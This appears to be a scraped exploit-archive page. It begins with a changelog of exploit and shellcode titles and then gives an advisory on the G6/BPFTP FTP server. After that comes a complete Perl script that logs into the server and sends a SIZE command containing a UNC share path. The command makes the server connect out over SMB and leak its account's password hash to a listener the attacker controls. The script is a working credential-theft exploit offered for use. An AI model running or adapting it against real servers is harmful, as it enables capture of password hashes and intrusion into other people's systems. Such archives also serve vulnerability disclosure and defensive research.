
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
65 lines
No EOL
2.3 KiB
Perl
Executable file
65 lines
No EOL
2.3 KiB
Perl
Executable file
source: https://www.securityfocus.com/bid/2534/info
|
|
|
|
G6 FTP Server now known as BPFTP Server is an internet FTP server by Gene6
|
|
|
|
If a logged in FTP user connects to an external share and submits a malformed 'size' or 'mdtm' command, the user could force the FTP server to make an external SMB connection.
|
|
|
|
The FTP server must provide login credentials of the user the server is running under in order to make a connection to the remote host. A password hash is sent across the external connection to the host. A third party network utility could be listening for internal and external traffic and capture the password hash. The captured hash could be resolved into the username and password.
|
|
|
|
#!/usr/bin/perl
|
|
# G6-2nbt.pl - example G6 ftp server netbios connection script
|
|
#
|
|
# Tested on win32 and Linux, Linux requires share name to be in
|
|
# the format: \\\\host\\share\\path or //host/share/path
|
|
|
|
use Getopt::Std;
|
|
use IO::Socket;
|
|
|
|
my($host,$login,$pass,$share,$CRLF,$result);
|
|
|
|
$CRLF = "\015\012";
|
|
getopts('h:l:p:s:',\%args);
|
|
|
|
if (!defined $args{h}){ print "No host specified.\n";exit;}else{$host =
|
|
$args{h};}
|
|
if (!defined $args{s}){ print "No share specified.\n";exit;}else{$share =
|
|
$args{s};}
|
|
if (!defined $args{l} || !defined $args{p}){($login,$pass) =
|
|
('anonymous','user@myhost.com');}
|
|
else { ($login,$pass) = ($args{l},$args{p});}
|
|
|
|
$our_sock =
|
|
IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>$host,PeerPort=>21)||
|
|
die("Socket problems.");
|
|
|
|
print "Connected!\n";
|
|
print "Login...";
|
|
|
|
print $our_sock "USER $login" . $CRLF;
|
|
$result = <$our_sock>;
|
|
if ($result !~ /331\s/) { print "User name not accepted or an error
|
|
occurred...exiting.\n";close($our_sock);exit; }
|
|
|
|
print "good.\nPass....";
|
|
|
|
print $our_sock "PASS $pass" . $CRLF;
|
|
$result = <$our_sock>;
|
|
if ($result !~ /230\s/) { if ($result =~ /530\s/) { print "Login/password
|
|
incorrect exiting.\n";close($our_sock);exit; } else { print "Login
|
|
failure..exiting.\n";close($our_sock);exit; }}
|
|
|
|
print "good.\nTesting path type...";
|
|
|
|
print $our_sock "PWD" . $CRLF;
|
|
$result = <$our_sock>;
|
|
$result = <$our_sock>;
|
|
if (lc($result) !~ /\/[a-z][:]\//) { print "Looks like 'show relative
|
|
path' is enabled...exiting.\n";close($our_sock);exit;}
|
|
|
|
print "not relative path.\nSending UNC to connect to...";
|
|
|
|
print $our_sock "SIZE $share" . $CRLF;
|
|
print "completed.\nCheck your logs.\n";
|
|
|
|
close($our_sock);
|
|
exit; |